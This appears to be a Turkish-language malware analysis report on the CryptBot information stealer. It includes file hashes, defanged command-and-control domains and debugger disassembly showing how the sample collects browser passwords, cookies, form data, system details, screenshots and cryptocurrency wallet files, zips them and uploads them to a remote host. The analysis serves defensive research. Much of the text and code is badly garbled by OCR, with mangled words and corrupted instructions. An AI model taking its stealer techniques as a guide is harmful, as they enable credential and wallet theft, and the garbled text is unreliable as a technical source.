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Son d°nemdle9 choavwiadt e mézé ©°nemlal @€kmgdei dej QK
gel me (veya gitmeme), birbirimizle etkilexki
et kil ekim kur ma «kEvkde nmi-zail ékeg ni kbtiirr-dok ki Ki

ajeméza bajl anynsazke lieémenn &nmP,N uzaktan il eti kKim
yazél eménén ve 1 K g°revlerini t amaml amak i -
kull anél maséné&fger éktligr miawtaird .ar éna tipi k o
programlara ve ara-I|lara eri kmekynié-in, evder
programlareé ev bilgisayarlaréna indirmeler:i
geliktiriciler:i ve dajétéecélaré bu ol aj andEé
ccret i programlar ve VPN istemciler:i i -1in
Zzamanl ar da oyptBotsall ebies edre r . Daha az bilinen
ol maséna rapantensorCrlyipt yél da binlerce ge¢nl ¢
verimliolduu.2019 baharéeénda k°t¢ ama-1¢é& yazeéelém dy¢
Zzamandan ber.i masum kur biankamrwrélcgjeédndla j3dhat

yazéelemlar sajl éyor.

Cryptbot, mevcut k°t¢g ama-1€ yazéel ém ort amé
il gin- bir saldereé y°ntemi cretmek i -in kar
basit bir sosyal m¢e¢hendi sl i birabanli ei gay ét e

Cryptbot, bir Trojan k°t¢ ama-1€é& yazel éme c
ateyla uyumlu ol ar ak, bil gi hérséeze, kur bar
yazeéel emlaren Faahdgpestakébaebsyunboar VPN
uygul amggk&hemgici si ve yasal olarakc ar i yazéel em
gizleniyor . Ke nd i bak@&injaewvwelkat ¢ ama-| €& uygul amal al
birliktei ni yor . Phaef omPDF d/,Adebal eyi ci

[llustrator veya Malwarebytes'in cracklis ¢ r ¢ ml er I ni arayan kull ar

kendil erini tercih ettikler:i progtamml|l ar yer



https://www.bleepingcomputer.com/news/security/fake-vpn-site-pushes-cryptbot-and-vidar-info-stealing-trojans/
https://www.bleepingcomputer.com/news/security/fake-vpn-site-pushes-cryptbot-and-vidar-info-stealing-trojans/
https://twitter.com/James_inthe_box/status/1248964446505947136
https://twitter.com/James_inthe_box/status/1248964446505947136
https://app.any.run/tasks/d597224b-ffff-43ad-90d9-572295ca24bb
https://twitter.com/benkow_/status/1226954519252213761
https://twitter.com/benkow_/status/1226954519252213761
https://twitter.com/MBThreatIntel/status/1226999930255900672
https://app.any.run/tasks/d597224b-ffff-43ad-90d9-572295ca24bb
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-ékmékteéeruygusamasaz l a birli kte inerek yay:
ol arak zararl énén uzantéseée .exe olup bu wuze
-alektéektan késa bir s¢re sonra 2 alt proce
silmektedir ve processler ile devam etmektedirAl t pr ocessde aseél z a
I Kl eml eri yapmaktadeér . Bi |l gi s ayChrome,Mozilla konur
Firefox g i b i tarayeéeceéelareée tarayarerke,gkpagtact | € Kkr e

adresl eri, ku, diafngédedaeryptsdihade &ulunan verileri decyrpt

ederekt ek t ek ayeéerdeéejmalkdtoaygal ataeardpy adtaseyral ar &

olumiakt adakl ange-ta ve sonda bil gipseayar én ¢
Ki frel.i bir zip dosyaseé mekiedirkt Ar deakinakebdi si
dosyalarénée silerek zamakteden -al ékmaseéne
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nxinf8kuks.exe Analizi

DOSYA ADI nxinf8kuks.exe
MD5 663FDF847D6B11308415FF86EBFFC275
SHA1 6167FDF3CD9A585A44F24EB15D414281EDAD2485

Bu zarar|l

eye

g°r ¢l mekAtneadiirz s¢resince manuel ol

K1 k osistem i&e Kgili bilgilerialma kt adér

nxinf8kuks. unpc. 011CD474
call dword ptr ds:[<&GetSystemTimeAsFileTimex]
mov eax,dword ptr ss:|[ebp-£8]
xor eax,dword ptr ss:ebp-C]
mov dword ptr ss:lebp-4],eax
call dword ptr ds:[<&GetCurrentThreadIds=]
xor dword ptr ss:lebp-4],eax
call dword ptr ds:[<&GetCurrentProcessIds=]
xor dword ptr ss:lebp-4],eax
mlea eax,dword ptr ss:[[ebp-14]
push eax
call dword ptr ds:[<&QueryPerformanceCounters]
mov eax,dword ptr ss:[ebp-10]
lea ecx,dword ptr ss:[ebp-4]
xor eax,dword ptr ss:[ebp-14]
xor eax,dword ptr ss:[ebp-4]
XOr eax,ecx

Teave

ret
Get CommandLineA ile process ol uktur mak
komut satéreée dizinini al maktader

nxinf8kuks.unpc. 011D881F

call dword ptr ds:[<&GetCommandLineA>]

mov dword ptr ds:[11ED554],eax ; O011ED554:&"% "Ciii\USers’’: Desktop' \nNx1nFBKUKS. unpc. exe’ " "
call dword ptr ds:[<&GetCommandLinew>]
mov dword ptr ds:[11ED558],eax ; Ol1EDS553B:&L"\"C:“\\Users Desktop' \nxinFBKUKS. unpc. exel ™"

mov al,l
ret

incel edpdcdini endo snamiuell d wjl ar ak



Api—mswin-coresynchll-z-n OdRff R2aélaPX RAYIYA]l ol &f y { P

ENNNGONf SOAft ANDASHS O SRR 2 PtiniekiedIPA XY befi /I NP 1 8RS

TR
€all dword ptr ds: [<&Imma'hzecr1t1(a15 twomndspwncount{l

pustfexiriE aicSmac i HIRR TS e e pTiss s fCote evneE B S U
call dword ptr ds: [<&GetModuleHandlel>]

esi
jne nxinfskuks.unpc.11CC822

nxinf8kuks. unpc. 011CC80D
push mxinf gkuks. unpc. 11E335C ; 11E335C:L"kernel32. d11"
Eall cuord prr ds: [<acetmodulenand] ews]

s
je nxinfskuks.unpc. 11CCBAE

1l

nxinfgkuks. unpc. 011cC822
push nxinfekuks. unpc. 11€3378 ; 11£337
push es
Ea11 dword ptr ds: [<&GetProcaddresss]
push nnﬂfsﬁlks.lnpc.LlEzBQ«l : 11E3394:"sleepconditionvariablecs”
push esi

ebx
cain dwdrd prr_ds: MR
push nxinfskuks.unpc. 1163380 ; 11338
pus

:"Initializeconditionvariable”

wakeallconditionvariable”

me
call dwurd | prr ds : [<&GetProcaddress>]

bx
je nxinfkuks. unpc.11cC888

i nf8kuks. unpc. 011€C850
test edi,edi
je nxinfskuks.unpc.11CCE88

nxinfekuks. unpc. 011Cc854
Test esi,esi
je mxinfékuks.unpc.11ccs8s

A A

g-partnerd_.]Jtop/dic/distribution[.Jphp?pub=mixinteadresine: f i LINR OS&aaf SNRA 2t d
KG G L ApANTitefleve Readfile | t L QkuaBR2 A& & | f ['YNIR (& IRIPRIBNJ

nxinf8kuks. unpc.011C2905
mpush esi

€all dword ptr ds:[<&InternetConnectA-]

mov edi,dword ptr ds: [<&Imernetc1usehand1e>]
mov ebx eax ; eax:"g-partners.top”

test ebx,ebx

e mxinf8kuks. unpc. 11€2971

nxinfékuks.unpc. 011c2918

cmp dword ptr ss:[ebp-14],10

lea ecx,dwor‘d ptr ss:Qebp-28] ; [ebp-28]:"/dlc/distribution.php?pub=mixinte”
push

cmovae ecx,dword ptr ss:flebp-28] ; [ebp-28]:"/dlc/distribution. php?pub=mixinte"
push 80400000

push 0

push 0

push ecx

push nxinfskuks.unpc.11E8F2C ; 11E8F2C:"GET"
push ebx

call dvord ptr ds:[<&HTTpOpenRequestA>

mov esi,eax ; eax:'g-partners.top’

Test esi,esi

je nxinf8kuks.unpc.11C2968

!

nx1hfnklk5 unpc. 011€2943

push es

call nx1nfEkuks unpc. 112130

push 0

push 0

push 0

push o

push e

call dwurd ptr ds: [<&H[tpsendkequestA>]
test eax,eax ; eax:'g-partners.top’

je nxinf8kuks. unpc. .11c2968

nxinf8kuks.unpc. 011CFB2A
lea ebx,dword ptr ds:[ebx] ; ebx:&"g-pa/dlc/distribution.php?pub=mixinte HTTP/1.1", [ebx]:"g-pa/dlc/distribution.php?pub=mixinte HTTP/1.1"

|
L1

nxinf8kuks. unpc. 011CFB30

movdqu xmmO,xmmword ptr ds:[esi] ; esi:"rtners.top”

movdqu xmml,xmmword ptr ds:[esi+10

movdqu xmmwiord ptr ds:[edi],xmm0 ; edi:"/dlc/distribution. php?pub=mixinte HTTP/1.1"

movdqu xmmword ptr ds:[ed‘i—LO],xmml ;, edi+10:"n. php?pu xinte HTTP/1.1"

lea esi,dword ptr ds:[esi+20] ; esi:'rtners.top”, esi+20:"media player”

lea egi,dwurd ptr ds:[edi+20] ; edi:"/dlc distrﬁbttium.php?pt b=mixinte HTTP/1.1", edi+20:"e HTTR/L.1"
ec edx

jne nxinf8kuks.unpc.11CFB30
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dosya Pt dzo G dzNX' I | G I RP NI

I RNB&AYA
Cl\Usersnama AppDataLocal Temp {{iXOlzQPtTcrzkOmXLHRR A T A y A Yikeye

dbtrhakta \@& dzy dzOdzR | y

nxinf8kuks. unpc. 011C3F8D

mmov. hytengtr ss:[ebp-4],C ; C:'\f'
call nxinf8kuks.unpc.11cc0C0

push eax ; eax: e‘(e

mov edx,mxinf8ku ks. unpc.11ECA38 ; 11EC/

lea ecx,dword ptr ss: [ebp 55-] H

call nxinfskuks. unpc. 11cac20

Tea ecx,dword ptr ss:[lebp-264]]

mov byte ptr ss: [ehp 44,0 ; D:'

push ecx

mov edx,eax ; eax:".exe"

lea ecx,dword ptr ss:[febp-24c]

call nanfEkuks unpc. T1CA970

add esp,

mow byte ptr ss:|[lebp ] E

mov ecx,eax ; eax:".ex

cmp dword ptr ds:[eax J. ].10

jb nxinfgkuks. unpc. 11c3FD0O

:s&
" [ebp-5 4]

\Users

-

NA\AppDatal\Localy\\Temp\\{iX01-zQPtT-crz1-OmxLH}\\"

v

nxinf8kuks. unpc. 011C3FCE
mov ecx,dword ptr ds:[eax]

3 eax:".exe" |

ZararP 2 f dz0 G dz2ZNRdz£Edz SES R

2f dzo GdzZNXY I 1 G RPN

R2

& 0080P6BI773ING AMIANS £ BA RS

CiUser§namé AppDataLocal Temp\{{iXO{zQPtTFcrzkFOmXLHM 00909689773.exe

nxinf8kuks. unpc. 011CAA3D
mmov eax,ebx
mov dword ptr ds:[ebx+14],0 ;
movups xmmQ,xmmword ptr ds:[edi]
movups xmmword ptr ds:[ebx],xmm0
movg xmmO,qword ptr ds:[edi+10]
movq gqword ptr ds:[ebx+10],xmm0
mov dword ptr ds:[edi+10],0
mov dword ptr ds:[edi+14],F
mov byte ptr ds:[edi],0 ; edi:&"C:
pop edi ; edi:&'C:\\Users
pop esi ; esi:".exe”
pop ebx
mov esp,ebp
pop ebp
ret

ebx+14:

; edi & C:\\Users “\AppData

Users "\\AppData\\Local
Apppata‘\\Local\\Temp\\{iX01-zQPTT

%I NI NX P cel £t POYI

Local\\Temp*\\{iX01-zQPTT-crz1-OmXLH}\\ 0090968977 3. exe”

Tem {ixol- ZQPLT —crzl- Om \LH exe"
xe"

P \00809689773.
-crz1-0mxLH}Y\ 009096897

X«

2ael tl

52ael |79331032056.exe

MD5

2081D43A914A66D1CB5C54FD3802DFB1

SHAl

8958C6E1E2FF8112C31846B706C52FF25028E182

523
etmektedir.
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00909689773.exe Analizi
DOSYA 00909689773.exe

MD5 610FE925494BD7F87858672C17F7D917

SHA1 CA63E707905182D88DF434BC83E6094F91AA4D61

manu el ol ar ak

ar ak

Bu zar ar | ncel mi zde

g°r ¢l meknealdiz

éeye | edi Ji

s¢resince manuel ol unpac

Cexkitli i K1 emier bghbhpmtkialyeen 1 mo o ldeurf u. di zi1 ni

00909689773. 0024F 5CA
mpush esi
push edi
€all dword ptr ds:[<&GetModuleFileNamew:-]

mov eax,dword ptr ds:[27C628] ; 0027C628:&L."\"C:\\Users AppbatatiLocal'\Temp'\{1X01-zQPTT-crz1-0mxLH}"\ 00909689773, exe\""
mov dword ptr ds:[27C614],esi
mov dword ptr ss:lebp-10J,eax
test eax,eax
je 00909689773.24F5E9
*

00909689773, 0024F5E4
cmp word ptr ds:[eax],di
jne 00909689773. 24F5EE

1]

00509689773, 0024F5E9 |

mov eax,esi
mov dword ptr ss:|lebp-10J,esi

{AaGSY

NT SNAYRS

AL

1t PQPén®arsiolkaPi SSHIYYSS]] GASORAMYNJI | S

mov edT, dword ptr d5: [ T F T
Tea eax,dword ptr ss:[ebp-14] FPU Gizle
add esp,C EAX 0044E674
push eax EBX  7EFDEC0O

push 20119

push 0

push 123.33050
push 80000002

call edi

mov esi,dword ptr ds
Test_eax,eax

{ne 123. 370700

: [<&RegueryvalueExu>,

3305E0:L"SOFTWARE\\Mi crosoft\\Windows NT\\CurrentVersion”

ECX 00000000
EDX 00000000
EBP  0044E68E
ESP  0044D7D4
ESI  0000000A

EDT  761D458D <advapi32. RegopenkeyExi>

ea eax,dword ptr ss:febp-1c] EIP  00279FAE 123.00279FAE
ush eax

s eax,dword ptr ss:[ebp-Aa0]] EFLAGS 00000212

push eax ZE 0 PFO AF 1

push 0 OF 0 SF O DFO

push 0 CFO TFO IF1l

push 123.3

3.33063C
push dword ptr ss:[ebp-14]

call esi

push dword ptr ss:fiebp-14]
€all dword ptr ds: [<&RegcloseKeys

push 3eC
ea eax,dword ptr ss

:[ebp-EAO]

mov dword nre s :Bebn-200.FE

33063C:L"Productame”

Lasterror 0000007E (ERROR_MOD_NOT_FOUND)
LastStatus C0000135 (STATUS_DLL_NOT_FOUND!

GS 0028 FS 0053
ES 0028 DS 0028
C5 0023 55 0028




CreateDirectoryWAPIkullanarak bir temp dizigfi A Hu fjizl?nmhandle'ly‘ BYE (0 Ragtgele
Iy RPOPCHY K isimlh NJ R2 a¥ 1k | &1 B NJdzNJ

00909689 012¢€C5DC
mov esi,dword ptr ds:[<&reateDirectoryw=]
lea eax,dword ptr ss:[lesp+40])
push 0
push eax
gall esi
ush 208
ea eax,dword ptr ss:|Jesp+24C]
mov edx,00909689773.1386F9C ; 1386F9C:L"%Temps
push eax
[Ilush 00909689773.139C690 ; 139C690:&L "LYOIYCHURFYkK"
ea_ecx,dword ptr ss:[flesp+1c]
€all 00909689773.12C56C0
add esp. 4

v
|

can 00909689773 12c5AC0
push e
call ed1
lea ecx,dword ptr ss:[lesp+10]]
(Eﬂ] 009096897 73.12C5AD0
208
FI]ea eax,dword ptr ss:[fesp+ 4‘4]
mov edx,00909689773.1386F9C ; 1386FOC:L "%Temp%
push eax
push 00909 138F050 ; 138F050:L™\\files_"
ush 009096897 139C690 ; 139C690:&L "L YOIYCHURFYK"
ea ecx,dword ptr ss:[lesp+38]
€all 00909689773, 12C56C0O
add esp,4
Tea ecx, dwnrd ptr ss:[lesp+1cCl
mov_edx
call 00909689773 12c5p20
add esp,J

caﬂ 00909689773 12c5AC0

push e

call ed1

lea ecx,dword ptr ss:[lesp+10])

€all 00909683773.12C5AD0

Tea ecx,dword ptr ss:[[esp:28

ca'l'l 00909689773, 12C5AD0
208

qea eax,dword ptr ss:[lesp+

mov edx,00909689773. ].‘aoF\h ; 1386F9C:L"%Temps

push eax

push 00909689773.138F060 ; 138F060:L™\\files_\\files™

ush 0090968 139C690 ; 139C690:&L"LYOIYCHURFYK”

ea_ecx,dword ptr ss :[lesp+20[

€all 00909683773.12C56C0

add esp,4

lea ecx.dword ntr ss:Besps 340

%l N N P aAaidSY NI SNAYRS]TA GFN¥&@POPEf I NPY o6/ KN

bilgilerini,i F NI 8 POP EB &K S & & §-BostaadrasEindy ISINR I FIBNIS

00909689773, 012C9EGE

mcall dword ptr ds:[<&GetPrivateprofilestringw=]
push 105
call 00909689773.1369D98
add esp,4
mov edi,eax
lea eax,dword ptr ss:[lebp-£E0]]
ush eax
ea eax,dword ptr ss:[ebp-6c0]
push eax
push 009096897
push 104
push edi
call 00909689773.12C7130
add esp,14
lea eax,dword ptr ss:[lebp-280[
push edi
push 009096897
push 104
push eax
call 00909689773.12C7130
push edi
ush 00909689773.13BEEFE ; 13BEEFB:L"%ws\\formhistory.sqlite"
ea eax,dword ptr ss:[lebp-488]
push 104
push eax
€all 00909689773.12C7130
add esp,20
cmp word ptr ss:[lebp-280[J,0
je 00909689773.12CACTA

3.138EEAQ ; 13BEEAO:L"%ws\\Mozilla\\Firefox\\%ws"

.13BEEDO ; 13BEEDO:L"%ws\\cookies.sglite"

5/ push ed1

56 push esi esi:L c:\\Users Apppata‘\\Locali\Google\\Chrome\\user pata\\Profile 1\\cCoockies"
FF75 OC push dword ptr ss:|[ebp+C]]
FF75 08 push dword ptr ss:[lebp+&]
ES AEOIDOOO call 123.3062A7
XOr ecx,ecx
E;CA 1c add esp,1C
o e = vyl VISP S
0090968977 3. 01L2C5DFA
mov eax,dword ptr‘ J:[0] ; eax:& "C:h\\Users Apppata‘hLocalileooglei\chrome'\\user pata”

push eax ; eax: Users »MhAppDatahh\Local'\Google'\\Chrome'\\User Data"
mow dword ptr - [0] esp

sub esE

push ebx

mov ebx,dword ptr ss:|lebp+Cl

XOor eax,eax ; eax:& "C:%‘\Users AppData‘‘Local \Google“ "\ Chrome'User Data"
00909689773.012C4F53

push eax ; eax:L"C:‘\Users apppata’’Local'\Google'\Chrome'User Data‘‘Default‘’Login Data"

call edi

cmp eax.FFFFFFFF @ eax:L"C:\\Usersh\z ApppatatLocal\ieooalevCchrome'\user pata‘‘Default\‘Loagin Data”
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lea ecx,dword ptr ds:[edx+2] "files_\\passwords.txt"”, edx+2:"LECT origin_url, username_ c1LE, password_value FROM
mov ax,word ptr ds:[edx] ed SELECT origin_url, ue, password_value FROM '\ngi
add edx,2 edx:"SELECT origin_url, Tlue, password_value FROM logins”
test ax,ax
jne 123.265D35
mov eax,dword ptr ds:[esi+14]
sub edx,ecx edx:"SELECT origin_url, username value, password_value FROM logins", ecx:L'files_\\passwol
mov ecx,dword ptr ds:[esi+10] ec; "FiTeS,\\pass\turds t>t”
sub eax,ecx ec 1 passwords. TXT
sar edx,l ed: €T origin_url, value, password_value FROM logins”
cmp_edx, eax edx: CT origin_url, username_value, password_value FRoM logins”
Lany 1o3.50un5y
mov esi,eax eax:L"C Users AppData‘’\\Local\\Temp My\\Files_‘\\passwords.txt"
add esp,8 |
test_esi,esi
je 123.261ABF
ea eax, dwmrd ptr 55 :[lebp-46C]
push 123,327 L"a+"
push eax Users AppData’\\Local\\Temp files_‘\\passwords.txt"
€all 123.309859
mov edi,eax eax:L"C Users appbata‘iLocal i\ Tempi\R' files_\\passwords.txt"

add esp,s
test edi.edi

MJ passwords.txt - Not Defteri
Dosya Dizen Bicim Gorinim Yardim

Soft: Google Chrome New
Site: https:/
Username:
Password:

araiasy

S It NI

At AAE SNAYA

Jwww. instagram. com/accounts/emailsignup/

dza SNY I YS> 02 Y Llzi S

fedzo @

(BN FROGENEZP NOL Y T 2 N

mpush
call

00909689773, 01209863
push dword ptr ss:
€all dword ptr ds:
Tea eax,dword ptr
push eax
call dword ptr ds: [<&Get5ystemlrrfo>]
Tea eax,dword ptr ss:le
muvhdwnrd ptr ss:[ebp- 10.:] Wi ; 40:'@”

us|

Ea]g‘ dword ptr ds:[<&GlobalMemoryStatusEx>]
us|

ea eax,dwurd ptr ss:febp-1030]

mov dword ptr ss:lfebp-50J,FF

us)

i [<&RegCToseKey>]
sa:Rebp-12c]

eax
0{)909689773 1363C90

add es

Tea eax, Jdword per ss:lebp-34]

ax
So110

0
00909689773.1390940 ; 1390940:L"SYSTEM\\Controlset001\\control\\class

80000002
ed

ST eax,eax
ine 00908689773, 1208¢31

{4D36E968-E325-11CE-BFC1-08002BE10318}

0000"

" system_info.txt - Not Defteri
Dosya Duzen Bigim Gorlnum Yardim

EXE_PATH:

Operating system:
Operating system language:
Keyboard Tanguages :

Local Date and Time:

windows 7 Professional  64-bit(x64)
tr-TR

Tirkce (Tirkiye) / Ing‘l'l‘\zce Camerikan) /
2021-07-24 00:13:

+0300

Username (Computername) :
CPU:

Memory ram:
Video card:
Display Resolution:

sl
e SVGA 3D

1918 x 888

2 At

y 1A 0

A A y Stmektedd. R S

00909689773.012D44F6
mcall dword ptr ds [<dﬁd‘\psave1maquoFﬂe>]

release:

I . - oo Ccores: >

JAral

C:\Users I AppData\Local\Temp\{ix01 l;zq_PIéTf(rz'l -OmXLH}\0090968977 3. exe
uild: 7601

81 NPV §1 NNy NF| |

TesT eax,eax tL"C:\\Users Appbatah\Local\\Temp\\LYOIYCHURFYK\\_Files\\_screen_besktop. jpeg”
je 0090968977 3. 12D4503
J!
00909689773. 01204 500
mov dword ptr ds:[esi+8],eax ; eax:L"C:\\Users Apppata\\Local‘\\Temp\\LYOIYCHURFYK\\_FiTles\\_Screen_besktop. jpeg"
)
00909689773.012D4503
mov eax,dword ptr ds:[esi] ; eax:L'C:\\Users apppata‘\\Local\\Temp'\\LYOIYCHURFYK'\_Files\\_screen_pesktop. jpeg”
mov ecx,esi
ush 1
€all dword ptr ds:[ea:
push dword ptr ss:|Jebp-20]
€all dword ptr ds: [« &De'\eteob]ect>]
push d ptr :[[ebp-
=== oy o L




74'

Web Data-Login Data bilgilerini alarak google® di spnf > of x/ uyu! eptzbt E!
icneyaze Esnbl uEs

66:391E cmp word ptr ds:[esi],bx esi:L"C:\\usersh\: aApppatat\Locali\Tempi\Rvwwvaz IM\N\Files_\\cookies'\\google_chrome_new. txt"
~ 73 0D jne 123.309AEA

EE E5500000 call 123.30EBCT

c700 16000000 mov dword ptr ds:[eax],l6
~ EB _"mp 123.309AC6

ea eax,dword ptr ss:[lebp-1c]]

50 push sax
E8 FF770000 call 123.3112F2

~ sAA v . A

_Filedp2 I £ £ SG RAT Ay Ay RSES oRS SIMaISHNIIGES @ & PIiA 8a@IABqG2 A
para birimleriniaraY I { (.F R P NJ

00909689773, 012D5DA4
mov ecx,dword ptr ss:[lebp-28J ; [ebp-28]:L"%Temp'\LYOIYCHURFYK\'\_Files\_wallet'\Monero"
lea edx,dword ptr ds:[edx*2+2]
MoV 2ax,ecx
cmp edx,ll_n_u_l
jb 00909689773.12D5DCC

¥

009096897 12C5D
mmov ax, wur‘d ptr ds [edx] ; edx:L"_Files\\ wallet\\Exodus Eden"”
add edx ; edx:L"_Files\\_wallet\\Exodus Eden”

Tes
]ne 00909689773. 12C5D35

']

00909689773.012C5D40
S per osifesilel
sub edx,ecx ; edx:L"_Files\\ wallet\\Exodus Eden”, ecx:L"_Files\' Wallet\\Exodus Eden”

mov ecx,dword ptr ds [esw 1« ] ; ecx:L"_Files\\ wallet\\Exodus Eden
sub eax,ecx ; iL Wallet\\Exodus Eden
sar edx,l ; 1et Exodus Ede

X "_File: Wa
cmp_edx,eax ; edx:L" Fw]es\\, vallet\\Exodus Eden™
Ja 00909689773.12C5D7E

009096897 OLZDELBD
mpush 009 06897
mov edx,eax : ea
mov dvord ptr ss:[flebp-4J,12
lea ecx,dword ptr ss: [ebp &l

call DDQDQEEBT?Z 12¢5p20
add

cmp dwnr‘d ptr ds:[eax+14],8
b1 00909689773, 12D6161)

8 F58:L"\\_Files /allet\\com. liberty. jaxx"
p% L oJ YCHURFYK"

)

09689773, 012DG1AI
v eax, dwurd ptr ds [eax] ; eax:&L"%Temp%\\LYQIYCHURFYK", [eax]:L"%Temp%\\LYOJYCHURFYK"

dzf RdzEdz 0Af AAf SNA 2 ydemeltediNRdzE dz Af IAf A R2&¢

Bdzf Rdz8l&zA £ A€ SNJ I 6 EPRF{ A 3JIAOARAN
-Cookie bilgilerini cooksxt ve AllCookies_list.ttt R P lara gayiléinhektedir.

{A&0GSY O0AfIAESNAYA 0dzZASNYI YSZO2 YLIzi SNY I YS> OLIzZ 1 «
system_info.txtt Rf Pladla@Pi SGYS{ GSRANJ

- dzf Rdz€ dz | NA LG 2 krédliy 1 Milgiyerfini WaHef R Tryptodudndy IRt P ubafi dzd (i dzNJ
dosydarakaydetmektedir.

¢ N @POPEf I NRI (lFI@PGtP odz dzyly GNY OATFTWHEESNR 1 dz f
AllPassword.txtlosyd | NdRyddtmektedir.

-¢ N Y-poS§tavekdl Yy POP A&AYESNAYA R2ENMHz I YI 1 2RfFNP AfS
dosyalara kaydetmektedir.




pe

%l N} NI Py Py 2 dzo (i kizblfoda@&NR 2 RAIEA | HIA IO & IRE RRI

files_ _Files BsSbpBg.tmp

-cookies _Cookies gDdxsxGm.tmp

-cookies.txt _AlICookies_list.txt | hrcoWpmT.tmp

-forms.txt _AllForms_list.txt JKFaiy.tmp

-password.txt _AllPasswords_list.tx{ [IHCgPACSW.tmp

-system_info.txt| _Information.txt vaqfZA.tmp

-screenshot.jpg | _Screen_Desktop.jpe pcky LbaLjxJrw\W.zip

-cryptocurrency | _Wallet
ElectronCash | ElectronCash
Electrumbtcp | Electrum
Electrum Electrumbtcp

NIsPPCaAe.zip

Filesp R2 &8I &Py Rl  MEKELRA MIGVAVEIRRR &R f& B REDSARY
& TYRANILF RPNJ

00909689773

. 01370F!
je 00909689773 137DF(5

00909689773.01370F98
pusn dword ptr ss:lebp+8J ; [ebp+8]:L"%Temp%\\LYOIYCHURFYK\\MCkYLbaL jxIrw
push 0
push dword ptr ds:[139¢5FC]
mcall dword ptr ds:[<&HeapFrees]
Test eax,eax
jne 00909689773, 1370FCS

OOQOBGBQTTS.ULSTDFAD
ush es
(al] 00909689773 136EBC7

cal:‘ dwurd ptr ds:[<&GetLastError>]

pop % P’ LVO]"CHURFVI\ MckvLbaL jxIrww. zip"”
mov. dwor‘d ptr‘ ds [es1] eax
pop e

00909689773, 012D39A8

mmov dword ptr ds;[edx+14],7
mov word ptr ds:leds],ax ; edx:&L":\\Users Appbatat\Local\\Temp\\LYOIYCHURFYK\\_Files”
I
v
3 eex:L Ci\\Users APPDATA\MLOCAT\TEM\NLYOIVCHUREVI\ kL baL T, 21"
Users AppData\Local\\Temp\\LY0I YCHURFYK \\MCkVLbaL jx3ru. z1p"
]he 00909689773 12D398B5

00009689773 012D39C0
si ;e AppData\\Local\\Temp\\LYOI¥CHUREYK\\MCkVLb,

ip”, esi:L”:\\Users ’\\AppData\\Local\\Temp\\LYOIYCHURFYK\\MCKYLbaL jxIrww. zip"
\\Users >\\AppData\\Local\\Temp\\L YOIYCHURF ¥\ \MCKYL
Users\ .. _\\AppData\\Local\\Temp\\LYOIYCHURFY\\MCkYLb:
users AppData\\Local\\Temp\\LYOIYCHUREYK\\MCkVLb, ", edx:&L":\\Users AppData\\Local\\Temp\\LYOIYCHURFYK\\_Files"
yte ptr ss:flebp-4],1
caﬂ 00909689773 12(F44D
add esp,
cmp byre ds : [139A960] , 0

je 00505685773, 553402




2 t1dx5Ld dzNR dz] G |
OANI T AL R2ael

C:\Users\[AppData\Local\Temp\LYOJYcHURFYk\

Dosya Dizenle Garintim Sik Kullanilanlar  Araglar  Yardim

d = v W = X i
Ekle Ayikla Sina  Kopyala Tagl Sil Bilgiler
¥ | . c\Users\ I AppData\Local\Temp\LYOJYCHURFYK\
Ad Boyut Degistirilme  Olusturulma  Aciklama Klasorler
files_ 2021-07-24.. 2021-07-22..
_Files 2021-07-23.. 2021-07-22,
BsSbpBg.tmp 192512 2021-07-2 2021-07-2
gDdxsxGm.tmp 90112 2021-07-22.. 2021-07-23..
hrcoWpmT.tmp 90112 2021-07-22.. 2021-07-23.
JKFaiy.tmp 192512 2021-07-22.. 2021-07-23,
IHCgPACSW tmp 40950 2021-07-17.. 2021-07-23,
MCkYLbaLjJrwW.... 180912 2021-07-24.. 2021-07-24..
;NIsPPCaAE‘Zip | 180852 2021-07-2 2021-07-2:
vaqfZAtmp 40950 2021-07-17.. 2021-07-23..

Dosyalar

0/10 &ge secilmis

¥ C:\User-\AppData\LataI\Temp\L\‘OJVtHURFVk\MCkVLbaijerWzip\ T C:\Users\ [l AppData\Local\Temp\LYOJYcHURFYK\NIsPPCaAe zip\

Ad Boyut Paketlenmis.. Degistirilme Olusturuima § | Ad Boyut Paketlenmis.. Degistirilme Olusturuimz

| _Cookies 52 985 18 385 cookies 52985 18 382
_AllCookies_listtxt 52985 18385 2021-07-23.. cookies.bxt 52985 18 382 2021-07-23.
_AllForms_list.txt 714 190 2021-07-23.. forms.txt 670 187 2021-07-23.
_AllPasswords_list... 243 167 2021-07-23.. passwords.txt 235 164 2021-07-23.
_Information.txt 6178 1225 2021-07-24.. = screenshotjpg 198 635 141578 2021-07-23..

= _Screen_Desktop,). 198 635 141578 2021-07-23. system_info.txt 6200 1247 2021-07-24..

http://alemed12[.Jtopiled | €f I y G P | dzNI 12 N Jefr@selNd? dzE dz 1 A LJ |

31 yYRSNY.S1TUSRANJ

NI ¢

009096897 01203402
call 00909689773, 1369FF9

cdg
mov ecx,99 ; ec %Temp%\\LYOIYCHURFYK\\MCkYLbaL jxIrwi. zip"

idiv ecx ; ecx:&L emp%\ \LYOJYCHURFYK\\MCKYLbaL jx] zip”

add edx,12F

push edx

€all dword ptr ds:[<&sTeeps]

Tea edx,dword ptr ss:[ebp-2&0]

mov_ecx, 0090968 138F140 ; ecx:&L"%Tempi\\LYOIYCHURFYK\\MCkYLbal jxJrww.zip", 138F140:L"alemed12. top”

€all 00909689773.12D2760
mov edx,dword ptr ss:[ebp-38]
cmp _edx, 8

jb’ 00909689773.1203A62

']

00909689773, 012D3A34
[ebp-6C] :L"mMCkyLbaL jx3

%Temp%\\LYOJYCHURFYK\\MCkYLbaLjxIrwi. zip”, ecx:&L %Temps\\LYOJYCHURFYK\\MCKYLbaLjxIrww. zip"

cmp edx,1000
ib 00909689773.12D3A58



http://alemed12[.]top/



















